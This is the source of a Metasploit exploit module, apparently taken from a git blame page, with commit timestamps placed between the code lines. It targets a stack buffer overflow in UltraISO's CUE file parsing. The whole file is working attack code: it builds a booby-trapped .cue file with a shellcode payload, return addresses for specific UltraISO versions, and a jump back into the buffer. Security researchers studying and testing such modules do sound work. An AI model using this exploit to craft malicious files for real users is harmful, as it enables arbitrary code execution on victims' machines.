2010-03-29 17:21:15 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2010-03-29 17:21:15 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
Rank = GreatRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::FILEFORMAT
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'UltraISO CUE File Parsing Buffer Overflow',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a stack-based buffer overflow in EZB Systems, Inc's
|
|
|
|
UltraISO. When processing .CUE files, data is read from file into a
|
|
|
|
fixed-size stack buffer. Since no bounds checking is done, a buffer overflow
|
|
|
|
can occur. Attackers can execute arbitrary code by convincing their victim
|
|
|
|
to open an CUE file.
|
|
|
|
|
|
|
|
NOTE: A file with the same base name, but the extension of "bin" must also
|
|
|
|
exist. Opening either file will trigger the vulnerability, but the files must
|
|
|
|
both exist.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
2010-03-30 04:26:14 +00:00
|
|
|
'Author' =>
|
|
|
|
[
|
2010-03-30 06:42:59 +00:00
|
|
|
'n00b', # original discovery
|
2010-03-30 04:26:14 +00:00
|
|
|
'jduck' # metasploit version
|
|
|
|
],
|
2010-03-29 17:21:15 +00:00
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2007-2888' ],
|
|
|
|
[ 'OSVDB', '36570' ],
|
|
|
|
[ 'BID', '24140' ],
|
2012-10-23 19:02:09 +00:00
|
|
|
[ 'EDB', '3978' ]
|
2010-03-29 17:21:15 +00:00
|
|
|
],
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 1024,
|
|
|
|
'BadChars' => "\x00\x0a\x0d\x22",
|
|
|
|
'DisableNops' => true,
|
|
|
|
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
# BOF @ 0x005e1f8b
|
|
|
|
|
|
|
|
# The EXE base addr contains a bad char (nul). This prevents us from
|
2010-03-30 01:40:26 +00:00
|
|
|
# writing data after the return address. NOTE: An SEH exploit was
|
|
|
|
# originally created for this vuln, but was tossed in favor of using
|
2010-04-30 08:40:19 +00:00
|
|
|
# the return address method instead. This is due to the offset being
|
2010-03-30 01:40:26 +00:00
|
|
|
# stable across different open methods.
|
2010-03-29 17:21:15 +00:00
|
|
|
|
2010-03-29 18:19:59 +00:00
|
|
|
[ 'Windows - UltraISO v8.6.2.2011 portable',
|
2010-03-29 17:21:15 +00:00
|
|
|
{
|
|
|
|
'Offset' => 1100,
|
|
|
|
'JmpOff' => 0x30, # offset from the end to our jmp
|
|
|
|
'Ret' => 0x00594740 # add esp, 0x64 / p/p/p/r in unpacked UltraISO.exe
|
|
|
|
}
|
|
|
|
],
|
2010-03-29 18:19:59 +00:00
|
|
|
[ 'Windows - UltraISO v8.6.0.1936',
|
|
|
|
{
|
|
|
|
'Offset' => 1100,
|
|
|
|
'JmpOff' => 0x30, # offset from the end to our jmp
|
|
|
|
'Ret' => 0x0059170c # add esp, 0x64 / p/p/p/r in unpacked UltraISO.exe
|
|
|
|
}
|
|
|
|
],
|
2010-03-29 17:21:15 +00:00
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'DisclosureDate' => 'May 24 2007',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('FILENAME', [ true, 'The file name.', 'msf.cue']),
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
|
|
|
|
off = target['Offset']
|
|
|
|
jmpoff = target['JmpOff']
|
|
|
|
|
|
|
|
sploit = "\""
|
|
|
|
sploit << payload.encoded
|
|
|
|
sploit << rand_text_alphanumeric(off - sploit.length)
|
|
|
|
|
|
|
|
# Smashed return address..
|
|
|
|
sploit[off, 4] = [target.ret].pack('V')
|
|
|
|
|
|
|
|
# We utilize a single instruction near the end of the buffer space to
|
|
|
|
# jump back to the beginning of the buffer..
|
|
|
|
distance = off - jmpoff
|
|
|
|
distance -= 1 # dont execute the quote character!
|
|
|
|
jmp = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
|
|
|
|
sploit[off - jmpoff, jmp.length] = jmp
|
|
|
|
|
|
|
|
sploit << ".BIN\""
|
|
|
|
|
|
|
|
cue_data = "FILE "
|
|
|
|
cue_data << sploit
|
|
|
|
cue_data << " BINARY\r\n"
|
|
|
|
cue_data << " TRACK 01 MODE1/2352\r\n"
|
|
|
|
cue_data << " INDEX 01 00:00:00\r\n"
|
|
|
|
|
|
|
|
print_status("Creating '#{datastore['FILENAME']}' using target '#{target.name}' ...")
|
|
|
|
file_create(cue_data)
|
|
|
|
|
|
|
|
# create the empty BIN file
|
|
|
|
binfn = datastore['FILENAME'].dup
|
|
|
|
binfn.gsub!(/\.cue$/, '.bin')
|
2011-06-09 19:51:56 +00:00
|
|
|
out = binfn
|
2010-03-29 17:21:15 +00:00
|
|
|
File.new(out,"wb").close
|
|
|
|
print_status("Created empty output file #{out}")
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|